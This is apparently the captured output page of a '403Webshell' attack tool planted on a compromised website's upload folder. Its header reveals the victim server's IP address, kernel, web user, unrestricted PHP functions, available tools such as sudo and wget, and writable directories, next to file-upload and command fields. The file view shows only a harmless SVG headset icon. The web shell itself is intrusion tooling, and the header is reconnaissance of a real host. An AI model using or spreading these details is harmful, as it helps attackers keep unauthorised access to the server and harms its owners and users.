403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/tripstring.com/public/upload/ourpartner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tripstring.com/public/upload/ourpartner/1610602362.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 15.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="512px" height="512px" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve">
<g>
	<path fill="#005EB8" d="M464.564,298.91v-29.531c4.128-2.757,6.854-7.455,6.854-12.781v-40.678
		c0-47.136-14.986-91.958-43.338-129.617c-2.495-3.312-7.201-3.975-10.514-1.482c-3.313,2.495-3.977,7.201-1.482,10.514
		c26.378,35.036,40.319,76.734,40.319,120.587v40.677c0,0.191-0.156,0.349-0.349,0.349h-14.319c-0.191,0-0.348-0.156-0.348-0.349
		v-39.135c0-49.511-19.37-96.388-54.538-131.994c-35.286-35.727-81.901-55.415-131.258-55.438c-0.033,0-0.062,0-0.095,0
		c-49.559,0-96.207,19.344-131.353,54.475C88.977,119.656,69.61,166.327,69.61,215.919v40.678c0,0.19-0.156,0.348-0.349,0.348
		H54.943c-0.191,0-0.348-0.156-0.348-0.348v-38.875c0-111.718,90.08-202.652,200.804-202.707h0.099
		c52.622,0,102.412,20.298,140.196,57.158c2.97,2.896,7.723,2.834,10.616-0.131c2.896-2.968,2.837-7.722-0.132-10.615
		C365.572,21.812,312.063,0,255.498,0c-0.034,0-0.071,0-0.106,0c-57.326,0.028-111.469,22.898-152.457,64.396
		c-40.854,41.362-63.354,95.816-63.354,153.327v38.875c0,5.744,3.174,10.754,7.856,13.39v28.923
		c-7.703,1.408-13.563,8.155-13.563,16.259v56.901c0,9.121,7.421,16.543,16.542,16.543h25.791
		c5.052,9.146,14.792,15.355,25.959,15.355h0.484v47.412c0,20.799,16.921,37.722,37.721,37.722h32.602v1.031
		c0,12.058,9.81,21.867,21.867,21.867h28.745c16.766,0,30.407-13.64,30.407-30.405s-13.641-30.406-30.407-30.406h-28.745
		c-12.057,0-21.867,9.81-21.867,21.866v1.032h-32.602c-12.52,0-22.706-10.187-22.706-22.707v-47.412h16.862
		c7.311,0,13.259-5.948,13.259-13.26v-31.093c0-4.147-3.36-7.507-7.507-7.507c-4.147,0-7.508,3.359-7.508,7.507v29.337h-30.605
		c-8.063,0-14.622-6.559-14.622-14.621v-61.424c0-8.063,6.56-14.621,14.622-14.621h30.605v29.337c0,4.147,3.36,7.508,7.508,7.508
		c4.147,0,7.507-3.36,7.507-7.508v-31.092c0-7.313-5.948-13.261-13.259-13.261h-32.361c-11.167,0-20.907,6.211-25.959,15.357H62.451
		v-26.668h6.812c8.472,0,15.364-6.892,15.364-15.363V215.92c0-45.581,17.805-88.481,50.135-120.796
		c32.311-32.296,75.184-50.08,120.737-50.08h0.087c94.174,0.046,170.789,77.392,170.789,172.417v39.136
		c0,8.471,6.893,15.363,15.363,15.363h7.813v26.666h-13.756c-5.053-9.145-14.793-15.355-25.959-15.355h-32.361
		c-7.312,0-13.26,5.948-13.26,13.26v94.178c0,7.312,5.948,13.26,13.26,13.26h32.361c11.166,0,20.906-6.21,25.959-15.355h25.792
		c9.121,0,16.542-7.422,16.542-16.543v-56.901C478.128,307.066,472.268,300.318,464.564,298.91L464.564,298.91z M187.987,473.055
		c0-3.777,3.073-6.852,6.852-6.852h28.745c8.488,0,15.392,6.904,15.392,15.392c0,8.486-6.904,15.391-15.392,15.391h-28.745
		c-3.778,0-6.852-3.073-6.852-6.853V473.055z M72.529,373.598H50.416c-0.843,0-1.527-0.686-1.527-1.527v-56.901
		c0-0.842,0.686-1.526,1.527-1.526h22.113V373.598z M409.835,388.953h-30.606v-90.668h30.606c8.063,0,14.621,6.561,14.621,14.623
		v61.422C424.457,382.395,417.897,388.953,409.835,388.953z M463.113,372.07c0,0.842-0.686,1.527-1.527,1.527h-22.113v-59.957
		h22.113c0.843,0,1.527,0.687,1.527,1.527V372.07z"/>
	<path fill="#005EB8" d="M226.427,229.43h58.146c6.593,0,11.958-5.364,11.958-11.958v-28.796l0.157,0.122
		c1.363,1.046,2.971,1.551,4.565,1.551c2.254,0,4.483-1.011,5.962-2.937c2.523-3.289,1.904-8.002-1.386-10.527l-45.76-35.117
		c-2.695-2.068-6.445-2.068-9.142,0l-45.76,35.117c-3.289,2.524-3.909,7.237-1.385,10.527c2.524,3.288,7.236,3.909,10.527,1.386
		l0.157-0.122v28.796C214.468,224.065,219.833,229.43,226.427,229.43L226.427,229.43z M255.5,157.187l26.016,19.966v37.263h-18.508
		v-7.873c0-4.147-3.361-7.508-7.508-7.508c-4.147,0-7.507,3.36-7.507,7.508v7.873h-18.509v-37.263L255.5,157.187z"/>
	<path fill="#005EB8" d="M373.188,143.246c0-18.66-15.181-33.841-33.841-33.841h-14.006c-4.147,0-7.508,3.36-7.508,7.507
		s3.36,7.508,7.508,7.508h14.006c10.381,0,18.826,8.445,18.826,18.826v87.311c0,10.379-8.445,18.825-18.826,18.825H238.785
		c-2.317,0-4.505,1.07-5.928,2.9l-17.066,21.959l-17.066-21.959c-1.422-1.83-3.609-2.9-5.928-2.9h-21.146
		c-10.38,0-18.826-8.445-18.826-18.825v-87.311c0-10.38,8.445-18.826,18.826-18.826h121.694c4.147,0,7.508-3.36,7.508-7.507
		s-3.36-7.507-7.508-7.507H171.652c-18.66,0-33.841,15.181-33.841,33.841v87.311c0,18.66,15.181,33.84,33.841,33.84h17.473
		l20.74,26.686c1.422,1.83,3.61,2.9,5.928,2.9c2.318,0,4.506-1.07,5.928-2.9l20.74-26.686h96.888
		c18.66,0,33.841-15.181,33.841-33.84L373.188,143.246L373.188,143.246z"/>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit